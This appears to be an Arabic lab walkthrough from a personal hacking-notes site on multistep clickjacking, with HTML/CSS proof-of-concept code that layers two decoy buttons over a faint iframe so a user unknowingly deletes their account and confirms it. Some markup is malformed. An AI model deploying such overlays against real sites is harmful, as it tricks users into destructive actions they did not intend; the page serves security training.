> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/clickjacking/multistep-clickjacking.md).

# تجسير نقر متعدد الخطوات

### اختطاف النقر متعدد الخطوات

**الهدف:** خداع المستخدم للنقر على زر حذف الحساب ثم تأكيد مربع الحوار التأكيدي بالنقر تباعًا على فخّين: **"انقرني أولاً"** ثم **"انقرني بعد ذلك"**.

**بيانات الاعتماد المقدمة للاتصال بالحساب (المختبر):** `wiener:peter`

* تحتوي الصفحة على **حذف الحساب** زر يتبعه مربع تأكيد ("هل أنت متأكد؟") — لذا عليك تنفيذ إجراءين متتاليين.

<figure><img src="/files/66dd88ec3fffde2091ba949c6327fed4271ff97d" alt=""><figcaption></figcaption></figure>

* الفكرة هي تراكب منطقتين قابلتين للنقر (فخاخ div) فوق `إطار iframe` يشير إلى `/my-account` الصفحة: الهدف الأول هو **حذف الحساب** الزر، والهدف الثاني هو زر التأكيد الذي يظهر بعد ذلك.

<figure><img src="/files/90d7a44baa2dfe68b904e34ac8a44206d617d37d" alt="" width="563"><figcaption></figcaption></figure>

* نجعل iframe شبه شفافًا (أو منخفض العتامة) بحيث يرى المستخدم الفخ لكنه في الواقع ينقر على عناصر الصفحة المستهدفة.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" انقرني أولاً</div>
<div class="next" انقرني بعد ذلك</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/1e8ed406a5d9187d39040a7f7fe80c1e04f0f10d" alt="" width="429"><figcaption></figcaption></figure>

يضع الكود أدناه iframe، ويضع فخّين، ويعرض الفخ الثاني فقط بعد النقر على الأول. `إطار iframe` يشير إلى `/my-account` عنوان URL للمختبر

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> انقرني أولاً</div>
<div class="next">انقرني بعد ذلك</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/0319e38df40abb497dea6d1d97d235ab6d6a9cf4" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
